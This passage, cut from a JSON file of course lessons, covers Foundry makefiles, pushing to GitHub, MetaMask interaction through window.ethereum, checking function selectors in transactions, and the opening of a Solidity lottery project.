you're on the right track! As developers, we always strive to work smart, not hard!\n\nAs we continue to discuss creation tests, I suggest a slight detour where we can introduce ways to make these often repeated scripts significantly easier. Our saviour: the _Makefile_.\n\n## A Makefile Primer\n\nA makefile is a text file used by the 'make' utility to automate the building and compiling processes of projects. Makefiles are a popular choice among developers due to their ability to streamline workflow drastically.\n\nIf you have not done so already, create a new file in your project folder called `makefile`. If everything's correctly installed, typing `make` in your terminal will return `no Targets stop`. If you experience any issues, install 'make' first.\n\n\n\nMakefiles, besides their main conveniences, also allow us to include environment variables automatically without having to source them every single time using `source env`.\n\nOur makefiles have the ability to create shortcuts. This way, we don't have to write and remember long scripts every single time. Here's an example of a shortcut.\n\n```makefile\n-include .env\nbuild:; forge build\n```\n\nWith this, `make build` in your terminal will execute `forge build`.\n\n## Deploying to Sepolia: A Detailed Example\n\nLet's now take a more comprehensive example: deploying to Sepolia. Here's the code outline for the makefile content:\n\n```makefile\ndeploy-sepolia:\n forge script script/DeployFundMe.s.sol:DeployFundMe --rpc-url $(SEPOLIA_RPC_URL)\n --private-key $(PRIVATE_KEY) --broadcast --verify --etherscan-api-key $(ETHERSCAN_API_KEY)\n --vvvv\n```\n\nThis command is quite extensive, and the last thing you'd want is to type it out every single time. You can now run the whole code with just: `make deploy-sepolia`.\n\nNote that we're deploying to a real network here, which incurs real costs. Therefore, only run this command if you intend to follow along in deploying your contract.\n\n**Important:** All environment variables in makefiles need to be enclosed using dollar signs and parentheses like so: $(variableName).\n\nTo enable automatic verification of our FundMe contracts on EtherScan, we'll need to create our own EtherScan API key. We'll then paste this key and the private key of our dummy account (not your real account), in our `.env file`.\n\nOnce the contract is deployed, and you paste the contract's address in folio, you will see that the contract has already been verified. No need to do it yourself on Etherscan, the script's got it covered!\n\n\n\n## A Ready-to-Use Makefile Framework\n\nTo make setting up makefiles a lot easier, I have prepared a ready-to-use framework. It's available on our course-specific [GitHub repo](https://github.com/Cyfrin/foundry-fund-me-f23/blob/main/Makefile).\n\nThis framework is quite expansive and covers a wide range of commonly used make commands. For instance, running `make help` will return a list of command options. To avoid going overboard with detailing makefiles, I strongly recommend you check out the framework and adapt it to your development processes. If you're keen to learn more about makefiles, hop onto your favourite search engine and find some good articles, or simply, Google it!\n\nIn conclusion, makefiles are an incredible tool for developers that help to simplify commands and make our workflows much more efficient. Utilize them, and you'll see a significant boost in your productivity. Happy coding!\n", + "updates": [] + }, + { + "id": "1b838275-adc8-4821-90b7-73c28e8b10cd", + "number": 21, + "title": "Pushing to Github", + "slug": "pushing-to-github", + "folderName": "21-pushing-to-github", + "description": "This lesson guides you through the process of pushing your Solidity projects to GitHub. It covers best practices for using Git, managing sensitive information, and updating README files. The lesson is crucial for developers looking to showcase their work and collaborate in the crypto-community.", + "duration": 16, + "videoUrl": "OlxnxWLC4dQ", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/21-pushing-to-github/+page.md", + "markdownContent": "---\ntitle: Pushing to GitHub\n---\n\n_Follow along with this video._\n\n\n\n---\n\nWelcome fellow developers! In today's lesson, I'll guide you in pushing your work to GitHub using a badass GitHub repo. This action is the concluding step of your project. However, the first thing we want to ensure is that `env` is included in your `.gitignore`. Adding `broadcast` is a personal practice, and I advise you to do the same. The rationale behind this is avoiding a public push of anything inferior to GitHub.\n\nSometimes, it's beneficial to leave `lib` out, something that I plan to do here as well. The key take-home is learning to push code to GitHub. We are employing hardhat freeCodeCamp because it was used in one of my previous videos and we are kick-starting from an entirely blank GitHub.\n\nPlease note that the application of GitHub, coupled with git and version control, is crucial to the majority of crypto-community interactions and collaboration methods.\n\n## Open Source and the Crypto Community\n\n\n\nWith the open-source nature of web3 and crypto, all the smart contracts you create or use are visible. You can scrutinize the code, learn from it and develop your skills.\n\n\n\nIf you are eager to contribute, most of these protocols present grants and will recompense you for your contribution to their code. Alternatively, if you're keen on acquiring knowledge, you can generate pull requests to the codebases.\n\nWhen I was new to web three, one of the potent approaches I applied was making contributions to the Brownie Repo, a Pythonic smart contract framework aligned with Foundry. This process accelerated my learning and enabled me to interact and connect with several individuals in the community. Remember, GitHub profiles are crucial when applying for jobs. Hence, do your best to make your profile stand out.\n\n## GitHub and Decentralized Git Solutions\n\nAlthough GitHub is a centralized company, there are several decentralized git solutions presently under development. However, none of these are currently popular. If you want to get started or want a quick start, [GitHub docs](https://docs.github.com/en) provides numerous sets of documentation which you can refer to.\n\nYou should have a GitHub profile already set up. If you want to create a repo, you can utilize the 'Create a repo' section. Here, you'll learn to establish a repo directly via the website.\n\nHowever, creating a repo from the command line is advisable because it enables you to work without logging onto the internet every time you change your code.\n\nThis process involves following a specific documentation called adding locally-hosted code to GitHub. As the name suggests, we want to push our locally-hosted code to GitHub.\n\nBefore proceeding further, ensure that Git is installed on your device. Directions on how to install Git can be found [here](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git)\n\nA successful installation would display the Git version when `git version` is run. In case it doesn't, pause and install Git. You can utilize chatgbt, an AI tool, to help troubleshoot any installation issues.\n\nWith Git installed, you can access all of the features of Git, such as commits and logs. Use `git status` to view your repository status and `git log` to view a history of your commits.\n\n## Pushing Code to GitHub\n\nUse the command `git add .` to add all the folders and all the files to your git status, except for the ones in the git ignore. After adding the files, use `git status` to see what files and folders will be pushed to GitHub. Furthermore, do remember to check if the `env` is included or any sensitive information is included.\n\nThe next step involves committing your tasks. You can use `git commit -m \"your message`\" to commit your tasks. After committing, use `git status` to view your commits. With everything in order, the last step is to push the commit to GitHub using `git push origin main`. In case of any errors, employ chatgbt or any other AI to help troubleshoot the problem.\n\nVoila! By now, your project should be visible on your Github repository.\n\n## Updating the README\n\nAn often overlooked yet important aspect is updating your README file. It should include an 'About' section explaining your project and a 'Getting Started' section detailing the requirements and quick start instructions.\n\nOnce you have filled out your README, commit it to your repository using `git add .`, `git commit -m \"updated README\"`, `git push`.\n\nWithout a doubt, completing these steps successfully is worthy of celebration. Feel free to share your success and excitement with the developer community on social media. Remember, celebrating small wins on your journey is instrumental to maintaining motivation and enjoying your coding journey.\n\nThat's all the instructions you need to push your project on GitHub with Hardhat FreeCodeCamp. Keep practicing, keep pushing code, and soon enough, you'll be confident in using Git!\n", + "updates": [] + }, + { + "id": "0f9c4792-c718-4dcc-ad07-95abf11a2481", + "number": 22, + "title": "Section recap", + "slug": "section-recap", + "folderName": "22-recap", + "description": "This recap lesson summarizes key points from the course, including professional project setup, codebase refactoring, interaction scripts, gas and storage optimization, Makefiles, and GitHub repositories. It's a comprehensive review of the skills and knowledge gained in the course.", + "duration": 2, + "videoUrl": "6Jht0Us1vGw", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/22-recap/+page.md", + "markdownContent": "---\ntitle: Recap & Congratulations\n---\n\n_Follow along with this video._\n\n\n\n---\n\nCongratulations on making it this far on our enlightening journey on articulating how to set up a foundry project professionally! This segment stands colossal indeed, and I am here to take a brief detour and simmer down the plethora of knowledge that we gathered on handling Foundry projects more professionally.\n\n## The Key Takeaways from the Course\n\nSo, sit back, relax, let's take a look back at the phenomenal landscape we painted together on our canvas of a Foundry project.\n\n- **Professional Foundry Project Setup:**\n Setting up a project is a breeze that we adapt our hands to, but dealing with it professionally? That's where the real challenge kicks in. We have covered how to establish our source folder and accommodate numerous contracts in there.\n\n- **Codebase Refactoring:**\n We dived in together into the world of making our codebase more modular and learned how to refactor it. Enhancing our `FundMe` contract, we've started working on how to pass in a `price feed`, empowering us to deploy our contract on any desired chain.\n- **Interactions Script Dynamics:**\n Next, we've talked about an `interactions script` which incorporates `FundMe` and `Withdraw FundMe` contracts. This feature allows us to effortlessly withdraw funds and finance our most recently deployed contract.\n- **Working with Mocks and More:**\n What's learning without getting hands dirty? Yes! We got involved in working with mocks in testing, we understood how to conduct integration tests and also dove deeper on forking tests.\n- **Getting the grips on Gas and Storage:**\n A major leap in our education expedition was understanding more about `gas` and `storage`. Grasping these topics gives us the power to handle the energy consumption of Blockchain applications and to persist data on the Ethereum blockchain.\n- **Grasping Makefiles:**\n We learned a little about makefiles too. A Makefile contains a set of directives used by a make build automation tool to generate a target/goal.\n- **Building GitHub Repositories:**\n The icing on the cake of our extensive learning was when we built our **first GitHub repository** and pushed it up - a moment that we can incredibly own and rejoice at!\n\n\n\n## What's Next?\n\nNow, isn't it the perfect moment to give yourself a lil' break? After all, you've earned it! Grab that coffee, ice cream and have a walk. Or, simply indulge in any activity for some you-time.\n\nThough, if you wish to further enhance your knowledge and graduate from being 'okay' at this to being an absolute maestro, I urge you to continue this journey with us. We've designed our course to not just educate you but to prepare you for everything that this space has to offer.\n\nSo, see you in the next project!\n\nGoodbye, for now!\n\n---\n\n\n", + "updates": [] + } + ] + }, + { + "number": 3, + "id": "b3b77063-6dfd-43d6-83b6-c0655a81d722", + "title": "Fund Me Frontend", + "slug": "html-fund-me", + "folderName": "3-html-fund-me", + "lessons": [ + { + "id": "c9498599-1d48-42ab-a184-68cd69834483", + "number": 1, + "title": "How Metamask interacts with dapps", + "slug": "setup", + "folderName": "1-setup", + "description": "Introduction to MetaMask interactions with websites, covering the basics of transaction transparency and setting up a basic JavaScript web application.", + "duration": 4, + "videoUrl": "883HH60QqDY", + "rawMarkdownUrl": "/routes/foundry/3-html-fund-me/1-setup/+page.md", + "markdownContent": "---\ntitle: Setup\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nHey there! Welcome to Lesson Eight. This session promises to be engaging and insightful as we dive deeper into the world of Development, focusing on MetaMask interactions with websites.\n\n## Maintaining Transparency With Transactions\n\nIt is integral to understand how MetaMask, or any wallet for that matter, interacts with a website. Having this foundational knowledge equips you to ensure that your wallet sends the precise transaction you intend it to broadcast.\n\n\n\n## HTML FundMe F23: A Raw Javascript Full Website Application\n\nThough we won't be delving into building a full-stack application in this lesson, you can find resources and examples for the same in the full blockchain solidity course on Javascript (JS) with Node JS.\n\nWe will, however, discuss HTML FundMe F 23 - a basic raw JavaScript full website application. If you feel crafty, go ahead and replicate it for practical grasp. The objective is to comprehend what happens under the hood when you interact with these websites.\n\n## Diving In Without Prior Introduction\n\nFor a fresh change, we'll readily dive into the heart of the course without going through the customary walkthrough. You've been introduced to Git and GitHub in our previous courses, which will come in handy now.\n\nPull up your code base at Foundry F23, the repository with all our code. Copy the URL and begin working as if you've just downloaded it from GitHub, like this:\n\n```bash\ngit clone git@github.com:username/repo.git\n```\n\nYou'll find a 'Quick Start' section in all of my READMEs for your reference. Use it to clone the repository or open the file.\n\n## Spinning Up The Website\n\nThe HTML FundMe repository has a very basic HTML and JavaScript structure to run a website. You can use an extension called Live Server to run the website. Alternatively, you should be able to open Reveal in Finder or use your file explorer to open it in your browser.\n\n### Here's how it should look:\n\n```bash\ncode html-fund-me-f23\n```\n\nThe website runs on a minimalist architecture, which we're going to use to illustrate how MetaMask interacts with the website.\n\n\n\n## Wrapping Up\n\nHaving understood the fundamental of interactions between MetaMask and websites, you'd be more confident and aware of your transactions. Your coding journey grows with you. See you at the next lesson!\n\nKeep coding and keep exploring!\n", + "updates": [] + }, + { + "id": "ae529daa-722d-4124-8222-b631d6a43b0a", + "number": 2, + "title": "Introduction to window.ethereum", + "slug": "metamask", + "folderName": "2-metamask", + "description": "Exploration of MetaMask's interaction with JavaScript websites, focusing on the use of the `window.ethereum` object and smart contract interactions.", + "duration": 13, + "videoUrl": "PL1H5tXwE3Q", + "rawMarkdownUrl": "/routes/foundry/3-html-fund-me/2-metamask/+page.md", + "markdownContent": "---\ntitle: How MetaMask works with the Browser\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nIn our web development journey, we often interact with JavaScript-enabled websites. But when it comes to dealing with MetaMask -- a cryptocurrency wallet and Ethereum gateway -- things become a little more intriguing. Let's uncover the puzzle and understand how MetaMask works with your website. Moreover, I will guide you on how to interact with such a website connected to a blockchain and a FundMe contract on the Anvil network.\n\n## MetaMask & Its Interaction with Websites\n\nMetaMask is more than just a cryptocurrency wallet -- it acts as an interface that allows websites to interact with the Ethereum blockchain. Notably, these websites interact predominantly with the `window.ethereum` JavaScript object injected into the web browser by MetaMask. By utilizing this object, websites send transactions to MetaMask or any connected wallet.\n\nHowever, keep in mind that if you switch to a browser without MetaMask installed, you won't be able to establish this connection. If you inspect the console and type `window.ethereum`, you'll encounter `undefined`. For detailed information about working with the `window.ethereum` object, refer to the MetaMask documentation [here](https://docs.metamask.io/guide/).\n\n\n\n## Establishing Connection with MetaMask\n\nFor your website to interact with MetaMask, you should have a mechanism to establish a connection. In order to do so, most websites feature a 'connect' button that on being clicked initiates the connection.\n\nWhen you click the 'connect' button on your website, MetaMask will prompt you to connect one of your accounts. Once the connection is set up, your website will be able to fetch the account's balance and carry out transactions.\n\nThis JavaScript code shows the process to establish a connection via the 'connect' button. On clicking this button, the function checks if MetaMask is available on the browser. If found, it sends a request to MetaMask to connect one of the existing accounts.\n\n## Interacting with Smart Contracts\n\nOnce the connection is established, we can interact with the functions of deployed smart contracts. For this demonstration, I will show you how to interact with a contract called `FoundryFundMe`. This contract has functions such as `fund`, `withdraw`, and `getBalance`. Here is an example of how to interact with the `getBalance` function:\n\nFirstly, an Ethers provider gets the RPC URL from MetaMask. Secondly, it gets the signer using this provider. The signer, in context, is the connected account. Lastly, it creates a contract instance using the contract address, ABI, and signer.\n\n```js\n// JavaScript code to interact with the `getBalance` function\nlet provider = new ethers.providers.Web3Provider(window.ethereum);\nlet signer = provider.getSigner();\nlet contract = new ethers.Contract(contractAddress, ABI, signer);\n// Retrieve the balance\nlet balance = await contract.getBalance();\n```\n\n## Switching to the Anvil Network\n\nAt some point, you may want to practice interacting with smart contracts on a local Anvil chain instead of the Ethereum Mainnet. Through MetaMask, you can easily shift from the Ethereum Mainnet to the Anvil network.\n\nTo do this, go to `Settings -> Networks -> Add Network`, and manually enter the following network details:\n\n- Network Name: Anvil\n- New RPC URL: \\[RPC-URL-OF-ANVIL-NETWORK\\]\n- Chain ID: 31337\n- Currency Symbol: Eth or whatever you prefer.\n- Block Explorer URL: \\[This field can be left blank\\]\n\nAfter the network is added, you can switch to Anvil chain in MetaMask and start interacting with the smart contracts deployed there.\n\n## Interacting with the `FundMe` Contract\n\nOnce you've switched to the Anvil network, repeating the process as discussed in the previous section, you can deploy the `FundMe` contract and interact with it using MetaMask.\n\nFrom the website, enter an amount in the `fund` section and click `fund`. This will create a transaction sent to MetaMask for you to sign.\n\n```js\n// JavaScript code to interact with the `fund` function\nlet ethAmount = document.getElementById(\"ethAmount\").value;\nlet tx = await contract.fund({ value: ethers.utils.parseEther(ethAmount) });\n```\n\nThrough this process, the website sends a transaction to MetaMask, and MetaMask returns a popup asking whether you want to sign this transaction with your private key.\n\n## Recap and Takeaways\n\nWorking with MetaMask and JavaScript websites might seem daunting at first glance, but breaking it down to basics makes it accessible and transparent. MetaMask acts as a liaison connecting the JavaScript website to the Ethereum blockchain all the while prioritizing the security of your private keys. By comfortably setting up local Anvil chains and interfacing smart contracts via JavaScript functions, you can create an interactive, secure, and real-world-ready dApp.\n", + "updates": [] + }, + { + "id": "23b9873a-e58f-4c21-a8db-4d3602e8b214", + "number": 3, + "title": "Decoding Ethereum transactions", + "slug": "function-selectors", + "folderName": "3-function-selectors", + "description": "Guide to understanding and decoding Ethereum transaction data using function selectors, with practical examples of verifying transactions.", + "duration": 8, + "videoUrl": "qZjLWy9b9hI", + "rawMarkdownUrl": "/routes/foundry/3-html-fund-me/3-function-selectors/+page.md", + "markdownContent": "---\ntitle: Function Selectors Introduction\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Decoding Transaction Data With Ethereum: A Step-by-Step Guide\n\nHave you ever found yourself struggling with transaction data in Ethereum? Muddling through raw transaction data can be quite a challenge, especially if you aren't quite certain if the function you're calling is as it appears on the surface. Let's walk through how you can confirm what function is being called, decode Ethereum transactions, and call functions with parameters.\n\n## The Fund Function\n\nPicture this scenario: You have a system encoded with 'fund' and 'steal money' functions. You enter 0.1, hit _fund_, and find your MetaMask filled with data. At first glance, the data suggests it's calling the 'fund' function, but you'd like to precisely know.\n\nProving that the system is indeed calling the 'fund' function involves using function selectors. When solidity functions are transformed into function selectors, the human-readable 'fund' is converted into low-level bytecode or Ethereum Virtual Machine (EVM) code to stimulate Ethereum to grasp the function you're calling.\n\n\n\n## Function Selectors and Checking Functions\n\nNow, every function selector has its unique low-level hex encoding, and that's where the Cast command comes into play. Running 'cat SIG fund' in your system will return a 'fund' function selector. If you'd like to cross-verify this transaction's function, copy and paste the hex data alongside the expected selector in the console.\n\nIf they're the same, you can have assurance that it is actually calling the 'fund' function. But if you sense something fishy about the website and suspect it's pulling off some treacherous tactic like calling a malicious function like 'steal money', you can run 'Cast SIG steal money'. This will provide you with the 'steal money' function selector.\n\nCopy the function selectors and verify them against the hex data on MetaMask. If they align, unfortunately, your website is calling the 'steal money' function- not the 'fund' function it should ideally be calling.\n\n\n\n## Functions With Parameters\n\nNow let's consider the scenario of functions with parameters. In such cases, your hex data is bigger, considering you'll have to accommodate data for calling the function. Cast calldata decode comes in handy in such scenarios.\n\nRunning _cast calldata decode_ alongside the call data on the system should reveal all the parameters on a function should they exist. This, however, isn't a perfect example since neither the 'fund' nor the 'steal money' function has any parameters. We'll delve into this a little later.\n\n```\n> Cast calldata decode > paste the call data\n```\n\n## Withdrawing Funds\n\nNow, consider a different scenario where there's a function to withdraw funds. In this case, let's say this specific withdrawal feature is enabled to the account owner only.\n\nEntering 0.1, hitting _fund_, and confirming the transaction sends the function via the API call. Once sent, calling _get balance_ should reveal that the balance has increased.\n\nHeading to 'function withdraw', the system shows that it's an owner function. Making an attempt to withdraw from another (non-owner) account gets an RPC error since the function is limited to the owner.)However, getting back to the owner account gives a different story. Commanding withdraw and conferring the hex data to the earlier Cast SIG withdraw hex, the matching hexes gives the assurance to confirm the withdrawal. Once the mining is done, just as expected, the balance goes back to zero. So mission accomplished!\n\n```\n> Cast SIG withdraw> Withdraw function hex data: copied hex data\n```\n\n## Conclusion\n\nIn summary, understanding and verifying the transaction data we're handling in MetaMask ensures we're in control of our systems and comfortable in knowing no malicious functions are being called. So go out there and put this to good use, knowing exactly where your transactions are heading.\n\nAnd remember,\n\n\n\nWe will delve into function parameters, calldata, and much more later. Get started, happy coding!\n", + "updates": [] + }, + { + "id": "bcb0296e-6981-43c8-9742-1bd4688fca06", + "number": 4, + "title": "Section recap", + "slug": "summary", + "folderName": "4-summary", + "description": "Summary of web interactions and transactions, emphasizing the role of function selectors and the importance of secure and intelligent web navigation.", + "duration": 5, + "videoUrl": "EDaD5Ln1_u0", + "rawMarkdownUrl": "/routes/foundry/3-html-fund-me/4-summary/+page.md", + "markdownContent": "---\ntitle: Summary\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nHello, there! Today, we had a quick lesson, but it was a vital one as it gives you the real feeling of interacting with websites from a very low level. For those excited about engaging themselves in more complex full-stack work, this post will hopefully whet your appetite.\n\n#### Initiating a Transaction - Making a Connection\n\nA website sends a transaction to your wallet by establishing attachment to the wallet in one way or another. Browser extension injection into your browser is one of the most prevalent methods in use today.\n\n```javascript\nwindow.Ethereum;\n```\n\nThis line of code signals the browser to confirm the presence of the metamask object, an essential step for browsers interacting with wallets such as `wallet connect`, `ledger`, among other types.\n\nWhile on the surface all wallets seem different, they all perform the fundamental function of consolidating a connection object with the website, thus enabling the website to transmit transactions to your browser. The process involves hitting \"connect\" on the website and the wallet confirming the establishment of a successful connection.\n\n\n\n#### Send a Transaction, Keep the Private Key\n\nWhen it comes to sending a transaction to our wallets, the website first extracts the provider or the RPC URL from MetaMask.\n\n\n\nThrough the function signature or function selector, our system helps us verify that the transactions from the website are not counterfeit. Later in our course, we will delve deeper into decoding complex transactions and functions.\n\n\n\n#### Conclusion\n\nThat tips off our lesson for today. It was short but dense with necessary knowledge, especially for learners who are passionate about smart contracts. Understanding web interactions and the intricate operations of websites aids in conducting intelligent work and being on the lookout for potential threats.\n\nThis was a basic introduction to web interactions, and as we continue digging deeper into topics, such as function selectors and signatures, expect to become more proficient in navigating websites. Now would be a perfect time to digest all that we've discussed. Stay tuned for the next lesson. Catch you later!\n", + "updates": [] + } + ] + }, + { + "number": 4, + "id": "31c5e514-7427-479c-ad8c-1aebcf1e45ee", + "title": "Smart Contract Lottery", + "slug": "smart-contract-lottery", + "folderName": "4-smart-contract-lottery", + "lessons": [ + { + "id": "56f7152b-6ccb-4c0a-be25-fb56cb797b0d", + "number": 1, + "title": "Smart contract lottery - Project setup", + "slug": "setup", + "folderName": "1-setup", + "description": "Introduction to building an advanced lottery or raffle smart contract, covering key features like Chainlink automation and random number generation.", + "duration": 12, + "videoUrl": "gecEjRVNt34", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/1-setup/+page.md", + "markdownContent": "---\ntitle: Setup\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWelcome back! I hope you enjoyed your break because we're about to dive into project number nine. As always, our goal is not just to teach you to build amazing projects, but to ensure you understand best practices and how to make your code look phenomenal.\n\n## Getting Started\n\nFor the project, we'll be working with an **advanced lottery or raffle smart contract**. This won't just be an exercise in coding, but a chance to learn more about:\n\n- Events\n- Working with true random numbers\n- Working with Modulo\n- Chainlink automation\n- And so much more.\n\nFeel free to explore the code base right in the course down to lesson nine. No need to follow along right now, just watch and get a feel for what we're about to build.\n\n\n\n## A Closer Look at the Smart Contract\n\nIn this project, we're introducing some **professional Nat spec for an even better looking codebase**. A key feature here is the raffle or lottery smart contract. This contract includes various functionality such as:\n\n- Enabling users to enter the raffle\n- A unique `checkUpkeep` functionality\n- A `fulfillRandomWords` function that chooses a winner and awards them a sum of money based on the entries\n- Multiple getter functions\n\nHaving made sure our foundational setup is in place with `forge build`, we then move to our make file where we have different commands like deploying our smart contracts and interacting with the Chainlink automation.\n\n## Building From Scratch\n\nOne crucial lesson we should all remember is that repetition is the mother of skill. The more you code, the better you get. As such, it advisable to code along, pausing the tutorial occasionally to try coding on your own.\n\nWe start fresh by creating a new Foundry project. Right before diving into code, it's essential to plan out what you want your project to achieve. Define those goals clearly, while making sure they align with the project's requirements. For the lottery project, the goals include:\n\n- Users should be able to enter the raffle by paying for a ticket\n- The lottery should automatically and programmatically draw a winner after a certain period\n- Chainlink VRF should generate a provably random number\n- Chainlink Automation should trigger the lottery draw regularly\n\n**Rope in Chainlink for the win!**\n\n- Chainlink VRF is an essential tool to instill trust in the lottery process. It generates a provably random number outside of the blockchain, ensuring the process is fair and transparent.- Chainlink Automation, a time-based trigger, eliminates the need for manual trigger of the lottery draw, making the process even smoother.\n\nGiven the goals, the functions necessary to achieve this are `enterRaffle` and `pickWinner`. The `enterRaffle` function allows users to buy a ticket to enter the raffle and the `pickWinner` function randomly picks a winner and awards them the accumulated entry fees.\n\n## The Layout for Your Code\n\nCode layout matters! As they say, \"Clean code is a process, not a point in time.\" We can improve our code's layout and readability with the best practices we have learned.\n\n\n\nSo let's get back to our Enter raffle function. You would probably want to set a ticket price or entry fee, right? Therefore, setting up an `entranceFee` state variable promptly at the top of the contract is recommended. We want to be mindful of our gas costs though, hence making the variable immutable.\n\n```js\nuint256 private immutable _entranceFee;\n```\n\nCreating a getter function for the entrance fee allows for transparency since the world can see the fee.\n\n```js\n// Getter functions\nfunction getEntranceFee() external view returns(uint256){\n return _entranceFee;\n}\n```\n\nWe are just getting warmed up! There’s more to building this lottery contract. No worries, though, the journey to creating a provably fair, a provably random lottery, while learning and implementing best practices to making your code look phenomenal, is going to be amazing.\n\nLet's jump in!\n", + "updates": [] + }, + { + "id": "35905d3f-a802-4475-913d-c4af8ae829c8", + "number": 2, + "title": "Solidity style guide", + "slug": "solidity-layout", + "folderName": "2-solidity-layout", + "description": "Exploration of Solidity's code layout and function ordering for efficient smart contract development.", + "duration": 2, + "videoUrl": "qnmKmB_pBvQ", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/2-solidity-layout/+page.md", + "markdownContent": "---\ntitle: Solidity Layout\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nIn one of our previous conversations, we discussed Solidity's style guide, code layouts. However, it's intriguing to note that we didn't fully explore how to properly order our Solidity functions and calls. This article aims to delve deeper into this crucial aspect of the usage of Solidity, the leading programming language for smart contract development.\n\nThe official Solidity docs provide a comprehensive order of layout for a better understanding of the programming organization. The objective is to make your codebase look professional and easy to navigate when working with code.\n\n\n\n## The Standard Order for Code Layout in Solidity\n\nStarting with the `Pragma` directive, a typical Solidity code layout follows several steps in a specific order:\n\n1. `Pragma` statement\n2. Import statements\n3. Interfaces and libraries\n4. Contracts\n5. Type declarations within contracts\n6. State variables\n7. Events\n8. Modifiers\n9. Functions\n\nWe've been following the correct procedure with `Pragma` at the very start. However, we currently don't have any import statements, interfaces or libraries. Next up on the list would be contracts, inside which you do type declarations and state variables.\n\nOur first function comes next, where we don't have any events or modifiers in use. The ordering advises that we start from the `constructor` but remember, keep the readability and comprehensibility of your program as a priority.\n\n\n\n## A Closer Look at Function Ordering\n\nFunction ordering in Solidity also follows a specific flow. You start with the constructor, then follow it up with the receive and fallback functions. After that, external and public functions come, followed by internal and private functions. Lastly, within a grouping, view and pure functions should be placed.\n\nLet's break down the order in this list:\n\n1. Constructor\n2. Receive\n3. Fallback\n4. External and Public functions\n5. Internal and Private functions\n6. View and Pure functions\n\nEnforcing readability, this order adds to the organization, keeping the code neat and manageable.\n\n## How to Remember the Order\n\nYou might sometimes find you forget to follow this specific order. A helpful tip that I personally use is to paste the code layout order at the top of my code as a quick reference guide. You can find a template of this versioning layout in the GitHub repository associated with this lesson.\n\n\n\nGo to the [Github repo](https://github.com/Cyfrin/foundry-smart-contract-lottery-f23/tree/main/src) and copy the code layout. Paste it at the top of your working context. This layout serves as a comprehensive guide we will follow.\n\nFrom there, you can copy and paste it at the top of your working context. This layout serves as a comprehensive guide we will follow.\n\n\n\n## Conclusion\n\nIn the end, the Solidity docs' recommended layout is simply a guide - you can opt to follow it or devise your own. After all, the ultimate goal is to create a clean and comprehensible code base regardless of the layout.\n\nBear in mind, though, that when your application scales and interacts with other contracts, Solidity's official documentation's recommended order could save you significant time and confusion. Happy coding!\n", + "updates": [] + }, + { + "id": "32c9ad50-2e26-4383-a292-4a57affc9db7", + "number": 3, + "title": "Creating custom errors", + "slug": "solidity-custom-errors", + "folderName": "3-custom-errors", + "description": "Guidance on using custom errors in Solidity for gas-efficient and effective error checking.", + "duration": 5, + "videoUrl": "Og3_o7kFDRw", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/3-custom-errors/+page.md", + "markdownContent": "---\ntitle: Custom Errors\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Implementing the Entrance Fee\n\nSo, remember when we said our raffle had an entrance fee? Well, let's get to it and actually start using it to ensure only people who have paid can enter the raffle.\n\nOur entrance raffle function is a `public payable`. However, it might be better to make it `external payable` for better gas efficiency. So, let's make that switch now.\n\nThe shift to `external payable` makes sense since we're highly unlikely to have any internal function calls to `enterRaffle`, and `external payable` functions tend to be slightly more gas-efficient when called from outside the contract. Now that we've done that, let's do a check to ensure the correct quantities are transferred.\n\nHere's where the require statement comes into play.\n\n```js\nrequire(msg.value >= _entranceFee, \"Not enough ETH sent!\");\n```\n\nThis statement checks if the entrance fee meets a certain condition - in this case, that the sent ETH is greater than or equal to the entrance fee. But if it doesn't, our function will revert and throw the user-friendly error message \"Not enough ETH sent!\".\n\nThis leads us to our first major update to our knowledge of Ethereum.\n\n## Custom Errors Vs `Require`\n\nTraditionally, the `require` function in Solidity has been the go-to method for incorporating error checking in the code. But all that changed with Solidity version 0.8.4 which introduced custom errors. This development allows you to define errors with custom names and, more importantly, custom errors happen to be more gas efficient.\n\nHere's how we could use it:\n\n```js\n// Define the custom error at the top of your contract\nerror NotEnoughETHSent();\n// Invoke the custom error\nif (msg.value < _entranceFee) {\n revert NotEnoughETHSent()\n};\n```\n\nTo give you a practical understanding of the gas saved, let's see an example. Two similar functions coded twice, one using revert with custom error and the other with require.\n\n```js\n// Revert with custom error\nfunction revertWithError() public pure{\n if(false){\n revert ExampleRevert_Error();\n }\n}\n// Revert with require\nfunction revertWithRequire() public pure {\n require(true, \"ExampleRevert_Error\");\n}\n```\n\nIf we were to deploy both the functions on Remix and execute them, despite both reverting (which inherently costs gas), the function with the custom error (`revertWithError`) turns out to be more gas efficient, costing **142 gas** to the **161 gas** of the `require` based error handling.\n\nSo, in essence, this is a practical example of \"learning something to never use it again\".\n\nThat's it, folks! By now, you know how to work with custom errors and some best practices to consider when writing these reverts. Stay tuned for more Ethereum Smart Contract updates and practical takes. Here's to better (and more gas-efficient) coding!\n", + "updates": [] + }, + { + "id": "9d92bd94-45e2-4a05-ac64-b98f3d9fe717", + "number": 4, + "title": "Smart contracts events", + "slug": "solidity-events", + "folderName": "4-events", + "description": "In this lesson we'll explore how to use events in Ethereum smart contracts, specifically in a lottery system context.", + "duration": 12, + "videoUrl": "69Yl2FEtbjc", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/4-events/+page.md", + "markdownContent": "---\ntitle: Events\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nEver wondered how to track users in an Ethereum lottery? Or how about which data structure to use for storing players addresses in an on-chain lottery system? Well, you're in for a ride as we take a deep dive into these topics and more!\n\n## What's Next? Data Structures to the Rescue!\n\nIn the case of a lottery system on the Ethereum network, we need to store and track all the users participating in each round.\n\nHere, we are confronted with the question of which data structure to choose. Should we use an array or a mapping? Should we use multiple address variables?\n\nTo solve this, we've decided to use a dynamic array, an array that adjusts its size as needed. The reasons for this choice become apparent as you need to randomly pick a winner from the entries. As you may know, mappings can’t be looped through, which poses a problem if we need to randomly select an individual for the winning prize.\n\n```js\naddress[] private s_players;\n```\n\nThe above line is an array of the players in the lottery. Notice the `private` modifier, which means 